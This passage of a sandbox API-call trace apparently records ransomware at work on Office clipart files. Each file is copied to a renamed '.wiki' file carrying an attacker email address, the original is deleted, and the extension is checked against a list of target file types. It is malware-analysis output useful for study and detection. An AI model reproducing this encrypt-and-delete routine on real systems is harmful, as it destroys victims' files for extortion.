dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0198.574] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=9072) returned 1 [0198.574] CloseHandle (hObject=0x1d0) returned 1 [0198.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf")) returned 0x20 [0198.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0198.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0198.583] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.583] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0198.598] GetLastError () returned 0x0 [0198.598] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x2370, lpOverlapped=0x0) returned 1 [0198.630] WriteFile (in: hFile=0x1f0, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x2380, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x2380, lpOverlapped=0x0) returned 1 [0198.636] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0198.637] WriteFile (in: hFile=0x1f0, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0198.637] SetEndOfFile (hFile=0x1f0) returned 1 [0198.637] CloseHandle (hObject=0x1f0) returned 1 [0198.637] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.637] SetEndOfFile (hFile=0x1cc) returned 1 [0198.638] CloseHandle (hObject=0x1cc) returned 1 [0198.638] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0198.638] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf")) returned 1 [0198.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF") returned 63 [0198.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF") returned 63 [0198.638] lstrlenW (lpString=".doc") returned 4 [0198.638] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.638] lstrlenW (lpString=".docx") returned 5 [0198.638] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0198.638] lstrlenW (lpString=".pdf") returned 4 [0198.638] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.638] lstrlenW (lpString=".xls") returned 4 [0198.638] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.638] lstrlenW (lpString=".xlsx") returned 5 [0198.638] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0198.638] lstrlenW (lpString=".ppt") returned 4 [0198.638] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF") returned 63 [0198.638] lstrlenW (lpString=".zip") returned 4 [0198.638] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.638] lstrlenW (lpString=".rar") returned 4 [0198.638] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.638] lstrlenW (lpString=".bz2") returned 4 [0198.639] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.639] lstrlenW (lpString=".7z") returned 3 [0198.639] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF") returned 63 [0198.639] lstrlenW (lpString=".dbf") returned 4 [0198.639] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF") returned 63 [0198.639] lstrlenW (lpString=".1cd") returned 4 [0198.639] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF") returned 63 [0198.639] lstrlenW (lpString=".jpg") returned 4 [0198.639] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF") returned 63 [0198.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF") returned 63 [0198.639] lstrlenW (lpString=".doc") returned 4 [0198.639] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.639] lstrlenW (lpString=".docx") returned 5 [0198.639] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0198.639] lstrlenW (lpString=".pdf") returned 4 [0198.639] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.639] lstrlenW (lpString=".xls") returned 4 [0198.639] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.639] lstrlenW (lpString=".xlsx") returned 5 [0198.639] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0198.639] lstrlenW (lpString=".ppt") returned 4 [0198.639] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF") returned 63 [0198.639] lstrlenW (lpString=".zip") returned 4 [0198.639] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.639] lstrlenW (lpString=".rar") returned 4 [0198.639] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.639] lstrlenW (lpString=".bz2") returned 4 [0198.640] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.640] lstrlenW (lpString=".7z") returned 3 [0198.640] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF") returned 63 [0198.640] lstrlenW (lpString=".dbf") returned 4 [0198.640] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF") returned 63 [0198.640] lstrlenW (lpString=".1cd") returned 4 [0198.640] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF") returned 63 [0198.640] lstrlenW (lpString=".jpg") returned 4 [0198.640] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.640] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0198.640] lstrlenW (lpString="J0153095.WMF") returned 12 [0198.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0198.640] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=3704) returned 1 [0198.640] CloseHandle (hObject=0x1cc) returned 1 [0198.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf")) returned 0x20 [0198.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0198.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0198.641] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.641] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0198.641] GetLastError () returned 0x0 [0198.641] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0xe78, lpOverlapped=0x0) returned 1 [0198.643] WriteFile (in: hFile=0x1f0, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xe80, lpOverlapped=0x0) returned 1 [0198.644] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0198.644] WriteFile (in: hFile=0x1f0, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0198.644] SetEndOfFile (hFile=0x1f0) returned 1 [0198.644] CloseHandle (hObject=0x1f0) returned 1 [0198.644] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.644] SetEndOfFile (hFile=0x1cc) returned 1 [0198.645] CloseHandle (hObject=0x1cc) returned 1 [0198.645] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0198.645] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf")) returned 1 [0198.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF") returned 63 [0198.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF") returned 63 [0198.645] lstrlenW (lpString=".doc") returned 4 [0198.645] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.645] lstrlenW (lpString=".docx") returned 5 [0198.645] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0198.645] lstrlenW (lpString=".pdf") returned 4 [0198.645] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.645] lstrlenW (lpString=".xls") returned 4 [0198.645] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.646] lstrlenW (lpString=".xlsx") returned 5 [0198.646] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0198.646] lstrlenW (lpString=".ppt") returned 4 [0198.646] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF") returned 63 [0198.646] lstrlenW (lpString=".zip") returned 4 [0198.646] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.646] lstrlenW (lpString=".rar") returned 4 [0198.646] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.646] lstrlenW (lpString=".bz2") returned 4 [0198.646] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.646] lstrlenW (lpString=".7z") returned 3 [0198.646] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF") returned 63 [0198.646] lstrlenW (lpString=".dbf") returned 4 [0198.646] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF") returned 63 [0198.646] lstrlenW (lpString=".1cd") returned 4 [0198.646] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF") returned 63 [0198.646] lstrlenW (lpString=".jpg") returned 4 [0198.646] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF") returned 63 [0198.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF") returned 63 [0198.646] lstrlenW (lpString=".doc") returned 4 [0198.646] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.646] lstrlenW (lpString=".docx") returned 5 [0198.646] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0198.647] lstrlenW (lpString=".pdf") returned 4 [0198.647] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.647] lstrlenW (lpString=".xls") returned 4 [0198.647] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.647] lstrlenW (lpString=".xlsx") returned 5 [0198.647] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0198.647] lstrlenW (lpString=".ppt") returned 4 [0198.647] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF") returned 63 [0198.647] lstrlenW (lpString=".zip") returned 4 [0198.647] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.647] lstrlenW (lpString=".rar") returned 4 [0198.647] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.647] lstrlenW (lpString=".bz2") returned 4 [0198.647] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.647] lstrlenW (lpString=".7z") returned 3 [0198.647] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF") returned 63 [0198.647] lstrlenW (lpString=".dbf") returned 4 [0198.647] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF") returned 63 [0198.647] lstrlenW (lpString=".1cd") returned 4 [0198.647] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF") returned 63 [0198.647] lstrlenW (lpString=".jpg") returned 4 [0198.647] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.648] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0198.648] lstrlenW (lpString="J0153265.WMF") returned 12 [0198.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0198.648] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=3008) returned 1 [0198.648] CloseHandle (hObject=0x1cc) returned 1 [0198.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf")) returned 0x20 [0198.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0198.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0198.648] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.648] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0198.649] GetLastError () returned 0x0 [0198.649] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0xbc0, lpOverlapped=0x0) returned 1 [0198.651] WriteFile (in: hFile=0x1f0, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xbd0, lpOverlapped=0x0) returned 1 [0198.652] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0198.652] WriteFile (in: hFile=0x1f0, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0198.652] SetEndOfFile (hFile=0x1f0) returned 1 [0198.652] CloseHandle (hObject=0x1f0) returned 1 [0198.652] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.652] SetEndOfFile (hFile=0x1cc) returned 1 [0198.653] CloseHandle (hObject=0x1cc) returned 1 [0198.653] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0198.653] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf")) returned 1 [0198.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF") returned 63 [0198.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF") returned 63 [0198.653] lstrlenW (lpString=".doc") returned 4 [0198.653] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.653] lstrlenW (lpString=".docx") returned 5 [0198.653] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0198.654] lstrlenW (lpString=".pdf") returned 4 [0198.654] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.654] lstrlenW (lpString=".xls") returned 4 [0198.654] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.654] lstrlenW (lpString=".xlsx") returned 5 [0198.654] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0198.654] lstrlenW (lpString=".ppt") returned 4 [0198.654] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF") returned 63 [0198.654] lstrlenW (lpString=".zip") returned 4 [0198.654] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.654] lstrlenW (lpString=".rar") returned 4 [0198.654] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.654] lstrlenW (lpString=".bz2") returned 4 [0198.654] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.654] lstrlenW (lpString=".7z") returned 3 [0198.654] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF") returned 63 [0198.654] lstrlenW (lpString=".dbf") returned 4 [0198.654] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF") returned 63 [0198.654] lstrlenW (lpString=".1cd") returned 4 [0198.654] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF") returned 63 [0198.654] lstrlenW (lpString=".jpg") returned 4 [0198.654] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF") returned 63 [0198.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF") returned 63 [0198.655] lstrlenW (lpString=".doc") returned 4 [0198.655] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.655] lstrlenW (lpString=".docx") returned 5 [0198.655] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0198.655] lstrlenW (lpString=".pdf") returned 4 [0198.655] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.655] lstrlenW (lpString=".xls") returned 4 [0198.655] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.655] lstrlenW (lpString=".xlsx") returned 5 [0198.655] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0198.655] lstrlenW (lpString=".ppt") returned 4 [0198.655] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF") returned 63 [0198.655] lstrlenW (lpString=".zip") returned 4 [0198.655] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.655] lstrlenW (lpString=".rar") returned 4 [0198.655] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.655] lstrlenW (lpString=".bz2") returned 4 [0198.655] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.655] lstrlenW (lpString=".7z") returned 3 [0198.655] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF") returned 63 [0198.655] lstrlenW (lpString=".dbf") returned 4 [0198.655] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF") returned 63 [0198.655] lstrlenW (lpString=".1cd") returned 4 [0198.655] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF") returned 63 [0198.655] lstrlenW (lpString=".jpg") returned 4 [0198.655] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.656] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0198.656] lstrlenW (lpString="J0153273.WMF") returned 12 [0198.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0198.656] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=20096) returned 1 [0198.656] CloseHandle (hObject=0x1cc) returned 1 [0198.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf")) returned 0x20 [0198.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft 